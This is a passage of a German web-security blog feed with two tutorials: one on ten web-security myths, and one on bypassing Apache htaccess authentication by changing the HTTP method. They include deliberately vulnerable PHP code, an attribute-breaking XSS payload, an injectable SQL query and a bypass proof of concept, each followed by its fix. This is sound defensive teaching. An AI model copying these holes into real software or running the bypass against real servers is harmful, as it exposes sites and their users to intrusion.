<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/25-aktuelle-cheat-sheets-fuer-webworker.html" rel="bookmark" title="Permanent Link: 25+ aktuelle Cheat Sheets f&#252;r Webworker">25+ aktuelle Cheat Sheets f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/impressum/" rel="bookmark" title="Permanent Link: Impressum">Impressum</a></li><li><a href="http://www.web-tuts.de/php-session-sicherheit-session-fixation.html" rel="bookmark" title="Permanent Link: PHP Session Sicherheit &#8211; Session Fixation">PHP Session Sicherheit &#8211; Session Fixation</a></li><li><a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html" rel="bookmark" title="Permanent Link: Sicherheitsl&#252;cken kombinieren">Sicherheitsl&#252;cken kombinieren</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/datenschutz-super-cookies-flash-cookies-dom-storage.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/datenschutz-super-cookies-flash-cookies-dom-storage.html/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>10 Mythen zum Thema Web Security</title>
		<link>http://www.web-tuts.de/10-mythen-zum-thema-web-security.html</link>
		<comments>http://www.web-tuts.de/10-mythen-zum-thema-web-security.html#comments</comments>
		<pubDate>Wed, 18 Nov 2009 21:45:33 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Tipps]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=180</guid>
		<description><![CDATA[
Zum Thema Web Security gibt es viele Behauptungen, Vorurteile und falsche Einsch&#228;tzungen.
Dadurch werden falsche Informationen verbreitet und unzureichende Schutzma&#223;nahmen angewendet. In diesem Artikel werden 10 beliebte Mythen zum Thema Web Security aufgedeckt.
Zu einigen dieser Mythen gibt es auch praktische Beispiele, die demonstrieren sollen, wie Angreifer unzureichende Schutzma&#223;nahmen umgehen k&#246;nnen.
Sind statische Webseiten sicher? Sind client-seitige Sicherheitsl&#252;cken [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/websecurity_mythen.jpg" width="300" height="245" alt="Myth Busted" /></div>
<p>Zum Thema Web Security gibt es viele Behauptungen, Vorurteile und falsche Einsch&#228;tzungen.</p>
<p>Dadurch werden falsche Informationen verbreitet und unzureichende Schutzma&szlig;nahmen angewendet. In diesem Artikel werden 10 beliebte Mythen zum Thema Web Security aufgedeckt.</p>
<p>Zu einigen dieser Mythen gibt es auch praktische Beispiele, die demonstrieren sollen, wie Angreifer unzureichende Schutzma&szlig;nahmen umgehen k&#246;nnen.</p>
<p>Sind statische Webseiten sicher? Sind client-seitige Sicherheitsl&#252;cken wie Cross-Site Scripting (XSS) wirklich harmlos?</p>
<p>Das und einiges mehr wird in diesem Artikel aufgedeckt.</p>

<ol style="list-style-type:none;" class="listwithpadding">
<li style="padding-top:0;"><strong>1. Statische Webseiten sind sicher</strong>
<p>Viele meinen statische Webseiten (HTML-Dokumente) sind sicher, weil keine serverseitigen Scriptsprachen wie PHP verwendet werden und somit auch keine Sicherheitsl&#252;cken entstehen k&#246;nnen.</p>
<p>F&#252;r die Webseiten ansich mag das stimmen. Allerdings liegen Webseiten immer auf einem Server und dieser kann auch Sicherheitsl&#252;cken aufweisen. Somit k&#246;nnten Angreifer Zugriff auf die entsprechenden (HTML-)Dateien erlangen.</p>
<p>Es m&#252;ssen allerdings nicht zwingend Sicherheitsl&#252;cken in der Server-Software vorhanden sein. Viele Website-Betreiber nutzen Webhosting-Pakete und keinen eigenen Server. Jedem Kunden wird ein entsprechender Speicherplatz auf dem Server zugewiesen. Auf dem selben Server hosten also noch sehr viele andere Kunden ihre Webseiten - und garantiert nicht nur Statische. Sind dort Sicherheitsl&#252;cken in Webanwendungen vorhanden, k&#246;nnten sich Angreifer Zugriff auf dem Server verschaffen. Verschiedene Verzeichnisse haben auf einem Shared Server zwar einen Zugriffsschutz, versierte Angreifer k&#246;nnten in manchen F&#228;llen mit einigen Tricks aber auch diesen Schutz umgehen und auf beliebige Verzeichnisse zugreifen. Dazu schreibe ich noch einen eigenen Artikel.</p>
</li>
<li><strong>2. Meine Webseiten sind f&#252;r Angreifer uninteressant</strong>
<p>Nur weil keine sensiblen Daten wie Passw&#246;rter, Kundendaten, etc. vorhanden sind, hei&szlig;t es noch lange nicht, dass Angreifer kein Interesse an Ihren Webseiten haben.</p>
<p>Webseiten k&#246;nnen auf verschiedenster Weise manipuliert werden. Werden Dateien zum Download angeboten, k&#246;nnten diese vertauscht werden, Links k&#246;nnten so <a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html">manipuliert</a> werden, dass sie zu infizierten Webseiten f&#252;hren, Proxy-Server k&#246;nnten installiert werden, <a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html">Phishing-Seiten</a> k&#246;nnten hochgeladen werden, etc.</p>
</li>
<li><strong>3. HTTP-Authentifizierungen sind sicher</strong>
<p>Werden bei HTTP-Authentifizierungen schwache Passw&#246;rter (oder Benutzernamen) verwendet, k&#246;nnten Angreifer diese mittels Brute-Force oder Dictionary-Attacken knacken. Aber selbst wenn sichere Logindaten verwendet werden, bedeutet das nicht, dass dieser Schutz immer sicher ist.</p>
<p>Es gibt zum Beispiel eine Methode mit der Angreifer bestimmte HTTP-Authentifizierungen durch <a href="http://www.web-tuts.de/htaccess-bypass-authentifizierungen-umgehen.html">Manipulation der HTTP-Methode</a> umgehen k&#246;nnen.</p>
</li>
<li><strong>4. Cross-Site Scripting (XSS) Sicherheitsl&#252;cken sind harmlos</strong>
<p>Dies ist eines der h&#228;ufigsten Vorurteile gegen XSS von "selbsternannten Experten".</p>
<p>Dabei wissen die meisten noch nicht mal genau, was mit XSS alles m&#246;glich ist. XSS Sicherheitsl&#252;cken werden am h&#228;ufigsten zum Stehlen von Cookie-Informationen ausgenutzt. In Cookies werden oft sensible Informationen &#252;bermittelt. Das k&#246;nnen verschl&#252;sselte (manchmal sogar auch unverschl&#252;sselte) Logindaten oder Session-ID's (SIDs) sein mit denen Angreifer die aktuelle Sitzung / Session entf&#252;hren k&#246;nnen (Session Hijacking - dazu werde ich ebenfalls noch einen Artikel schreiben).</p>
<p>Das Stehlen von Cookies ist aber nicht das einzige, was Angreifer mit XSS anstellen k&#246;nnen. Angreifer k&#246;nnten zum Beispiel eine XSS-Shell injizieren und s&#228;mtliche Daten des Benutzers abfangen - u. A. werden XSS-Shells auch als tempor&#228;re Keylogger genutzt.</p>
<p>Mittels DOM-based XSS kann client-seitiger Code auch lokal mit den Rechten des aktuellen Benutzers ausgef&#252;hrt werden. Bei alten IE Versionen k&#246;nnte das sogar zu Remote Execution (und somit zum Zugriff auf dem Rechner) f&#252;hren.</p>
</li>
<li><strong>5. Die Funktion &raquo;htmlspecialchars&laquo; verhindert automatisch XSS</strong>
<p>Mit den PHP Funktionen htmlspecialchars() und htmlentities() kann man XSS verhindern. Allerdings k&#246;nnen diese Funktionen auch falsch angewendet werden.</p>
<p>Dazu folgendes Beispiel:</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_POST[&#039;textfeld&#039;]) &amp;&amp; !is_array($_POST[&#039;textfeld&#039;]))
    $textfeld = htmlspecialchars($_POST[&#039;textfeld&#039;]);
  else
    $textfeld = &#039;&#039;;

  $form  = &quot;&lt;form action=&#039;&#039; method=&#039;post&#039;&gt;\n&quot;;
  $form .= &quot;&lt;input type=&#039;text&#039; name=&#039;textfeld&#039; value=&#039;$textfeld&#039; size=&#039;30&#039; /&gt;&lt;br /&gt;&lt;br /&gt;\n&quot;;
  $form .= &quot;&lt;input type=&#039;submit&#039; name=&#039;senden&#039; value=&#039;Absenden&#039; /&gt;\n&quot;;
  $form .= &quot;&lt;/form&gt;&quot;;

  echo $form;
?&gt;</code></pre>
<p>Wird im Textfeld zum Beispiel normaler JavaScript Code eingegeben und das Formular abgesendet, werden spezielle Zeichen (wie gewollt) in HTML-Code umgewandelt:</p>
<pre class="srccode"><code>value=&#039;&amp;lt;script&amp;gt;alert(1);&amp;lt;/script&amp;gt;</code></pre>
<p>Was auf den ersten Blick gut aussieht, stellt sich bald als potenzielle Sicherheitsl&#252;cke heraus. Die Funktionen htmlspecialchars() und htmlentities() kodieren zwar Zeichen, die normalerweise XSS verhindern, allerdings wird ein bestimmtes Zeichen standardm&#228;&szlig;ig nicht kodiert: das einfache Anf&#252;hrungszeichen.</p>
<p>Da hier die Variable &raquo;textfeld&laquo; (welche die Benutzereingaben enth&#228;lt) in einfachen Anf&#252;hrungszeichen, anstatt doppelten Anf&#252;hrungszeichen steht, kann aus dem value-Attribut ausgebrochen werden und JavaScript Event-Handler k&#246;nnen injiziert werden, womit JavaScript Code bei bestimmten Aktionen ausgef&#252;hrt werden kann.</p>
<p>Man k&#246;nnte zum Beispiel folgenden String ins Textfeld injizieren:</p>
<pre class="srccode"><code>&#039; onmouseover=&#039;alert(123);</code></pre>
<p>Beim &#220;berfahren des Textfelds mit der Maus wird der JavaScript Code ausgef&#252;hrt. In diesem Beispiel eine harmlose Alert-Box. Wer sich diesen String genau anschaut, wird feststellen, dass dort kein einziges Zeichen vorhanden ist, das die Funktionen htmlspecialchars() und htmlentities() standardm&#228;&szlig;ig kodieren w&#252;rden.</p>
<p>Um auch einfache Anf&#252;hrungszeichen zu kodieren, muss der Modus ENT_QUOTES verwendet werden. Dieser wird den Funktionen als Parameter &#252;bergeben.</p>
<pre class="prettyprint"><code>$textfeld = htmlspecialchars($_POST[&#039;textfeld&#039;], ENT_QUOTES);</code></pre>
</li>
<li><strong>6. Die Funktion &raquo;mysql_real_escape_string&laquo; verhindert automatisch SQL Injection</strong></li>
<p>Die PHP Funktion mysql_real_escape_string() verhindert SQL Injection, wenn Benutzereingaben, die in einer SQL-Anweisung verwendet werden, sich innerhalb eines Strings befinden - also mit Anf&#252;hrungszeichen umschlossen sind.</p>
<p>Ist dies nicht der Fall, ist SQL Injection m&#246;glich, da die Funktion mysql_real_escape_string() - wie der Name schon sagt - nur bestimmte Zeichen innerhalb eines Strings maskiert.</p>
<p>Dazu wieder ein (vereinfachtes) Beispiel:</p>
<pre class="prettyprint"><code>&lt;?php
  // ...

  if(isset($_GET[&#039;id&#039;]) &amp;&amp; !is_array($_GET[&#039;id&#039;]))
    $id = mysql_real_escape_string($_GET[&#039;id&#039;]);
  else
    $id = 1;

  $sql = &quot;SELECT ID FROM Users WHERE ID=$id&quot;;

  mysql_query($sql) or die(mysql_error());
?&gt;</code></pre>
<p>Die Variable &raquo;id&laquo; befindet sich nicht in einem String. Das ist auch nicht n&#246;tig, da sie eine ID enthalten soll, die numerisch ist. SQL Injection w&#228;r hier problemlos m&#246;glich. W&#252;rde sich die Variable in einem String befinden, w&#228;r SQL Injection nicht m&#246;glich. In einigen F&#228;llen kann aber auch mysql_real_escape_string() umgangen werden.</p>
<p>Um SQL Injection in diesem Beispiel zu verhindern, sollte man den Wert der Variable in einen numerischen Datentyp konvertieren. Dazu kann die PHP Funktion intval() verwendet werden oder man nutzt das Type Casting.</p>
<pre class="prettyprint"><code>$id = intval($_GET['id']);</code></pre>
<pre class="prettyprint"><code>$id = (int)$_GET[&#039;id&#039;];</code></pre>
<li><strong>7. &raquo;magic_quotes_gpc&laquo; verhindert automatisch SQL Injection</strong>
<p>In vielen F&#228;llen k&#246;nnen Angreifer magic_quotes_gpc umgehen - zum Beispiel mit der SQL Funktion CHAR() oder mit Hexadezimal-Werten.</p>
<p>magic_quotes_gpc wird in PHP 6.0.0 entfernt.</p>
<li><strong>8. DDoS Protection Scripte verhindern DDoS-Attacken</strong>
<p>Kein Script der Welt bietet einen effizienten Schutz gegen DDoS. Gegenma&szlig;nahmen sollten auf tieferer Ebene stattfinden - zum Beispiel beim Grenzrouter des Providers oder wenn n&#246;tig auf Server-Ebene. Einen 100%igen DDoS-Schutz gibt es jedoch nicht.</p>
<li><strong>9. Der X-Forwared-For HTTP-Header enth&#228;lt immer die echte IP Adresse</strong>
<p>Nat&#252;rlich nicht. Bei anonymen Proxies kann die echte IP Adresse nicht so einfach ausgelesen werden. Erstrecht nicht, wenn eine Proxy-Chain verwendet wird.</p>
<li><strong>10. Validiere $_GET, $_POST, $_COOKIE und dein PHP Script ist sicher</strong>
<p>Dies ist ein h&#228;ufiger Fehler von PHP Programmierern. Benutzereingaben bzw. Daten von Aussen k&#246;nnten beispielsweise auch im superglobalen Array $_SERVER an die Webanwendung &#252;bermittelt werden. $_SERVER['HTTP_USER_AGENT'] enth&#228;lt zum Beispiel den User-Agent String, der im Browser beliebig ver&#228;ndert werden kann. In einem anderen <a href="http://www.web-tuts.de/gefaehrliche-funktionen-und-variablen-in-php.html">Artikel</a> habe ich einige davon aufgelistet.</p>
</ol>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/about/" rel="bookmark" title="Permanent Link: &#220;ber Web-Tuts.de">&#220;ber Web-Tuts.de</a></li><li><a href="http://www.web-tuts.de/hackits-challenges-learning-by-doing.html" rel="bookmark" title="Permanent Link: Hackits / Challenges &#8211; Learning by Doing">Hackits / Challenges &#8211; Learning by Doing</a></li><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html" rel="bookmark" title="Permanent Link: CSS History Hacks &#8211; Auslesen von besuchten Webseiten">CSS History Hacks &#8211; Auslesen von besuchten Webseiten</a></li><li><a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html" rel="bookmark" title="Permanent Link: Advanced Local und Remote File Inclusion">Advanced Local und Remote File Inclusion</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/10-mythen-zum-thema-web-security.html/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>htaccess Bypass: Authentifizierungen umgehen</title>
		<link>http://www.web-tuts.de/htaccess-bypass-authentifizierungen-umgehen.html</link>
		<comments>http://www.web-tuts.de/htaccess-bypass-authentifizierungen-umgehen.html#comments</comments>
		<pubDate>Wed, 11 Nov 2009 23:05:26 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[Sicherheitslücken]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=163</guid>
		<description><![CDATA[Um Verzeichnisse vor unbefugtem Zugriff zu sch&#252;tzen, werden sehr h&#228;ufig HTTP-Authentifizierungen genutzt.
Beim Apache Server werden dazu .htaccess Dateien verwendet. Diese beinhalten unter Anderem den Pfad zur Passwortdatei .htpasswd, welche den Benutzernamen sowie das verschl&#252;sselte Passwort (DES oder MD5) enth&#228;lt.
Solche Authentifizierungen gelten allgemein als sicher, solange ein kryptisches Passwort gew&#228;hlt wurde, um Brute-Force Attacken zu verhindern.
Es [...]]]></description>
			<content:encoded><![CDATA[<p>Um Verzeichnisse vor unbefugtem Zugriff zu sch&#252;tzen, werden sehr h&#228;ufig HTTP-Authentifizierungen genutzt.</p>
<p>Beim Apache Server werden dazu .htaccess Dateien verwendet. Diese beinhalten unter Anderem den Pfad zur Passwortdatei .htpasswd, welche den Benutzernamen sowie das verschl&#252;sselte Passwort (DES oder MD5) enth&#228;lt.</p>
<p>Solche Authentifizierungen gelten allgemein als sicher, solange ein kryptisches Passwort gew&#228;hlt wurde, um Brute-Force Attacken zu verhindern.</p>
<p>Es gibt jedoch eine Methode, mit der Angreifer viele solcher Authentifizierungen umgehen k&#246;nnen. Darum geht es in diesem Artikel.</p>

<h2 class="headline">htaccess &lt;Limit&gt; Bypass durch Manipulation der HTTP-Methode</h2>
<p>Mit der Direktive &lt;Limit&gt; kann angegeben werden, &#252;ber welche HTTP-Methode die Dateien im angegebenen Verzeichnis gesch&#252;tzt werden sollen.</p>
<p>Meistens wird hier GET bzw. GET und POST angegeben. Wird ein Verzeichnis &#252;ber den Browser per URL aufgerufen, sendet der Browser ein GET-Request an den Webserver. Ist in der &lt;Limit&gt; Direktive GET als HTTP-Methode angegeben, wird der Zugriff verweigert und man wird zur Eingabe der Logindaten aufgefordert. Manchmal soll auch das Absenden von Formularen nur bestimmten Usern vorbehalten werden - in solchen F&#228;llen w&#252;rde hier POST als HTTP-Methode angegeben werden.</p>
<p>Was passiert aber, wenn Dateien im gesch&#252;tzten Verzeichnis mit einer anderen HTTP-Methode aufgerufen werden?</p>
<p>Folgende HTTP-Methoden sind im <a href="http://tools.ietf.org/html/rfc2616" target="_blank">RFC 2616</a> (HTTP 1.1) spezifiziert:</p>
<ul class="normallist">
<li>GET</li>
<li>POST</li>
<li>HEAD</li>
<li>PUT</li>
<li>DELETE</li>
<li>TRACE</li>
<li>OPTIONS</li>
<li>CONNECT</li>
</ul>
<p>Die HTTP-Methode OPTIONS liefert eine Liste von Methoden, die vom Server unterst&#252;tzt werden. HTTP-Methoden kann man mit diversen Browser-Addons &#228;ndern oder z. B. per Telnet / SSH Verbindung selbst festlegen.</p>
<p>Ich verwende in den folgenden Beispielen das Firefox Addon <a href="https://addons.mozilla.org/de/firefox/addon/3829" target="_blank">Live HTTP Headers</a>.</p>
<p><img src="http://www.web-tuts.de/images/posts/httpmethods.jpg" width="544" height="191" alt="HTTP-Methoden" /></p>
<p>Angreifer k&#246;nnen dies ausnutzen und durch Manipulation der HTTP-Methode auf Dateien in einem htaccess-gesch&#252;tzten Verzeichnis zugreifen.</p>
<p>Die &lt;Limit&gt; Direktive wird erstaunlich oft verwendet - bei der Google-Suche nach "htaccess generator" ist das bei dem ersten Ergebnis schon der Fall.</p>
<h2 class="headline">Proof-Of-Concept</h2>
<p>Hier nun ein Praxisbeispiel.</p>
<p>Das zu sch&#252;tzende Verzeichnis "secret" befindet sich hier: <strong>/home/www/secret/</strong></p>
<p>In diesem Verzeichnis liegt eine geheime Textdatei "geheim.txt", welche Passw&#246;rter enth&#228;lt und eine PHP Datei "backup.php", mit der ein vollst&#228;ndiges DB Backup heruntergeladen werden kann. Und nat&#252;rlich die Dateien zur Authentifizierung.</p>
<p><strong>.htaccess</strong></p>
<pre class="prettyprint"><code>AuthUserFile /home/www/secret/.htpasswd
AuthGroupFile /dev/null
AuthName &quot;No Access&quot;
AuthType Basic
&lt;Limit GET&gt;
require valid-user
&lt;/Limit&gt;</code></pre>
<p><strong>.htpasswd</strong></p>
<pre class="prettyprint"><code>Admin:eI0E7d3r2XVWU</code></pre>
<p>Ruft man das Verzeichnis "secret" per URL im Browser auf, wird man aufgefordert die Logindaten einzugeben.</p>
<p>Da in der &lt;Limit&gt; Direktive nur GET angegeben wurde, k&#246;nnen Angreifer die Authentifizierung umgehen, indem sie die HTTP-Methode einfach in POST &#228;ndern.</p>
<p>Im folgenden Beispiel wird die Datei "secret.txt" per POST-Methode aufgerufen. Der Inhalt der Datei wird vom Server "freundlicherweise" zur&#252;ckgeliefert.</p>
<p><img src="http://www.web-tuts.de/images/posts/httppost.jpg" width="499" height="142" alt="htaccess Bypass via POST-Methode" /></p>
<p>W&#252;rde man das selbe nun mit der "backup.php" machen, k&#246;nnte ein vollst&#228;ndiges Backup der DB heruntergeladen werden.</p>
<p>Nochmal zum Verst&#228;ndis: In diesem Beispiel wurde das Verzeichnis "secret" <strong>nur</strong> f&#252;r den Zugriff per GET-Methode gesch&#252;tzt. Durch &#196;nderung der HTTP-Methode in POST konnte somit die Authentifizierung umgangen werden.</p>
<h2 class="headline">Gegenma&#223;nahmen</h2>
<p>Eine Gegenma&#223;nahme ist ganz einfach: Die &lt;Limit&gt; Direktive <strong>nicht</strong> verwenden.</p>
<p>Falls man doch mal, aus welchen Gr&#252;nden auch immer, ein Zugriff &#252;ber eine bestimmte HTTP-Methode erlauben will, sollte man zu der &lt;LimitExcept&gt; Direktive zur&#252;ckgreifen. Hier wird bei jeder HTTP-Methode der Zugriff verweigert, au&#223;er bei der in der &lt;LimitExcept&gt; Direktive angegebenen.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/web-tuts-de-rueckblick-von-7-wochen.html" rel="bookmark" title="Permanent Link: Web-Tuts.de &#8211; R&#252;ckblick von 7 Wochen">Web-Tuts.de &#8211; R&#252;ckblick von 7 Wochen</a></li><li><a href="http://www.web-tuts.de/16-nuetzliche-firefox-addons-fuer-webworker.html" rel="bookmark" title="Permanent Link: 16 n&#252;tzliche Firefox-Addons f&#252;r Webworker">16 n&#252;tzliche Firefox-Addons f&#252;r Webworker</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects">Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</a></li><li><a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html" rel="bookmark" title="Permanent Link: Advanced Local und Remote File Inclusion">Advanced Local und Remote File Inclusion</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/htaccess-bypass-authentifizierungen-umgehen.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/htaccess-bypass-authentifizierungen-umgehen.html/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
